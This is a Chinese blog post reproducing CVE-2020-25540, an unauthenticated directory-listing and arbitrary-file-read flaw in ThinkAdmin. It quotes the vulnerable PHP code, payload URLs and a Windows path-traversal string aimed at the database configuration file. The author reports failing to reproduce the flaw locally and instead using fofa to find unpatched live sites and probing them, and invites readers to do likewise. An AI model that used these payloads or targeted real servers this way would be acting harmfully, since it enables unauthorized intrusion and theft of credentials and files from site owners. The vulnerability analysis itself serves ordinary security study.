CVE-2020-25540:ThinkAdmin未授权列目录/任意文件读取漏洞复现

目录

 

1. 简介

2. 影响范围

3. 环境搭建

3.1 安装Composer

4. 漏洞复现

4.1 列举目录

4.2 任意文件读取


1. 简介

ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏洞,该漏洞可以利用GET请求编码参数读取远程服务器上任意文件。

2. 影响范围

Thinkadmin ≤ 2020.08.03.01  

v5(任意文件读取)    

v6(列目录,任意文件读取)

3. 环境搭建

ThinkAdmin 源码仓库:https://github.com/zoujingli/ThinkAdmin

详细安装过程请查看官方手册,环境搭建过程均来自手册。

靶机   winserver 2008

       ThinkAdmin版本小于 ≤ 2020.08.03.01

PHP >= 7.0.1

据手册说明6.0版本后,必须通过Composer方式安装和更新,所以无法通过Git安装。

3.1 安装Composer

如果还没有安装Composer,在 Linux 和 Mac OS X 中运行如下命令即可。

curl  -sS  https://getcomposer.org/installer  |  php

mv  composer.phar  /usr/local/bin/composer

如果是Windows环境,请先下载 Composer-Setup.exe 。至于想了解Composer是什么请自行百度,查阅相关手册。

然后双击安装包,一直默认就行了,根据官网的建议使用国内的镜像。

打开命令行窗口(windows用户)或者 Linux 控制台执行如下命令

composer  config  -g  repo.packagist  composer  https://mirrors.aliyun.com/composer/

如果是第一次安装,在命令行内,切换到指定的网站根目录下面执行命令:

composer  create-project  topthink/think thinkadmin

thinkadmin 是目录可以任意更改

如果是已经安装过了,执行以下命令更新

composer update topthink/framework

测试运行命令

进入命令行,执行命令 php think run

php think run -p 80 # 可以指定端口

在浏览器中输入地址访问测试。

到这儿整个靶机环境就算搭建完成

总结:使用Composer安装会有一个问题,关于Composer的详细情况请百度官方文档查看相关内容,但是要清除这个工具是一个PHP依赖管理工具,根据官方的安装文档执行命令后只需要执行一遍,如果需要重新执行安装需要彻底删除相关依赖库。个人建议直接下载源码安装,因为就算你安装了也需要自行导入数据库,本人开始以为是全自动的,浏览器有些不好用,使用抓包工具才发现是没有导入数据库和配置数据库配置文件。

4. 漏洞复现

互联网上应该找不到存在漏洞的版本了,所有的链接都是指向官方的代码仓库,下载的源码安装,本人未能成功利用本地环境复现成功。但是这怎么能难道足智多谋的本人呢?最终还没找到了一些还未及时修复的站。

使用 fofa 网络空间搜索引擎,搜索语法如下:

app="ThinkAdmin"

能获得很多结果,但是并不是所有的都存在相关漏洞的,具体的操作请自行发掘。

4.1 列举目录

查看版本url

https://xx.xx.xx.xx/admin/login.html?s=admin/api.Update/version

文件 app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;

use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,小于这个版本都有可能存在该漏洞。

在下面的代码里发现直接使用POST方法把rules和ignore参数传给 InstallService::instance()->getList() ,根据上面的use引用知道文件路径:

vendor/zoujingli/think-library/src/service/InstallService.php

/**
* 读取文件列表
*/
public function node()
{
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}

 跟踪getList,会利用_scanList()去遍历$rules数组。

/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

调用 scanDirectory()去递归遍历目录下的文件,最后在透过 _getInfo()去获取文件名与哈希,由下面的代码可知程序没有进行任何验证,攻击者可以在未授权的情况下读取服务器文件列表。

/**
 * 获取目录文件列表
 * @param string $path 待扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 获取指定文件信息
 * @param string $path 文件路径
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

利用以下payload读取网站根目录

http://xxxxx/ThinkAdmin/public/admin.html?s=admin/api.Update/node

利用POST方法控制$rules参数

4.2 任意文件读取

/**
 * 读取文件内容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下载的文件不在认证规则中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('读取文件内容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('读取文件内容失败!');
    }
}

 首先从get读取 encode 参数并使用decode()解码:

/**
 * 解密 UTF8 字符串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密utf8字符串,刚好上面有个加密utf8字符串的encode(),攻击时直接调用就可以了。

/**
 * 加密 UTF8 字符串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径 vendor/zoujingli/think-library/src/service/ModuleService.php :

/**
 * 检查文件是否可下载
 * @param string $name 文件名称
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下载数据库配置文件
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 检查允许下载的文件规则
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允许下载的文件规则
    return false;
}

代码是禁止下载数据库配置文件database.php,查看允许下载的文件规则 getAllowDownloadRule():

/**
 * 获取允许下载的规则
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

/**
*允许列表
*config
*public/static
*public/router.php
*public/index.php
*app/admin
*app/wechat
*/

参数$name被限制了必须要是允许文件列表和不能说是database.php文件才能够被读取,可以通过 'public/static/../../1.txt' 读取根目录的1.txt。在Linux环境下对于database.php的限制是没法绕过的,但是在windows下可以把 . 替换成 " ,传入

public/static/../../config/database"php

使用编码脚本进行编码的结果为:

 

尝试读取数据库配置文件(找了半天也没有找到windows的,也没法读取),于是尝试读取其他文件:

 

本文参考:

https://github.com/zoujingli/ThinkAdmin/issues/244

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值